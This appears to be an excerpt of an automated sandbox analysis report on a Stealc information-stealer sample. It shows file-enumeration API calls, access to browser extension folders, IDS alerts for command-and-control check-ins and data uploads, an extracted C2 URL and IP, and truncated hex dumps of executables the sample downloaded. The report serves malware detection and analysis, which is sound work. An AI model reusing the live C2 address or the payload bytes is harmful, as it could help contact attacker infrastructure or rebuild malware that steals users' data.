Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00414C89 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_00414C89
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041CDD0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_0041CDD0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004016B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004016B9
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041DF20 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	2_2_0041DF20

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49733 -> 109.107.157.132:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49733 -> 109.107.157.132:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 109.107.157.132:80 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49733 -> 109.107.157.132:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 109.107.157.132:80 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49733 -> 109.107.157.132:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49759 -> 109.107.157.132:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://109.107.157.132/7a5d4e643b804e99.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:33:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:33:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:33:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:33:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:33:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:33:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
